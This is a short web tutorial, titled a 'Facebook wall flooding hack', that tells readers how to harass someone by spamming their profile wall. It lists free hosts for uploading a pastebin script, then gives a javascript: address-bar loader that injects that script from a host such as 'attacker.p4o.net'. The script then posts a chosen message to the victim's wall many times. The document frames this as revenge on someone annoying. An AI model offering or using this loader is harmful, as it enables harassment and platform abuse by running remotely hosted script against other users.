Facebook wall flooding hack:-
Is someone annoying you badly on facebook? do you wnt to annoy him back??
Here is something you can use to mess your friend's profile page.
Facebook wall flooding tutorial:-
1)First you need to setup a hosting acount to host your javascript.You can use any free host.These are some websites you can try:-

• 1.a)p4o.net
• 1.b)x10hosting.com
• 1.c)ripway.com

2) You need to upload your javascript .Here is the script just copy the script ,paste it to notepad,save it as "script.js"(without quotes) and upload it your web host account.
Link to the script:-
http://pastebin.com/9fTeVdbR

3)Go to the victim s profile.Enter the following link in the address bar:-
****javascript:(a = (b = document).createElement("script")).src = "http://attacker.p4o.net/script.js", b.body.appendChild(a); void(0)****

3.b)YOU have to edit the "http://attacker.p4o.net/script.js"with your own script link. For example if you create accout with username "rishabh" at p4o.net ,then script link would be "rishabh.p40.net/script.js".

3.c)So the link to be pasted in victim's address bar will be:-
****javascript:(a = (b = document).createElement("script")).src = "http://rishabh.p4o.net/script.js", b.body.appendChild(a); void(0)****
{paste the above code in address bar without ****.}

4)Then it will prompt the no of times you want to post the message.Enter any no you want.
5)Then it will ask the message you want to flood.Enter the message and press ok
wait for 5 min do not refresh the page 5 min.HIt refresh
and bingo you are done.

NOTE:-"There is one drawback that you wont be able to post,comment for 3/4 hours after performing the above steps.Try on your own risk."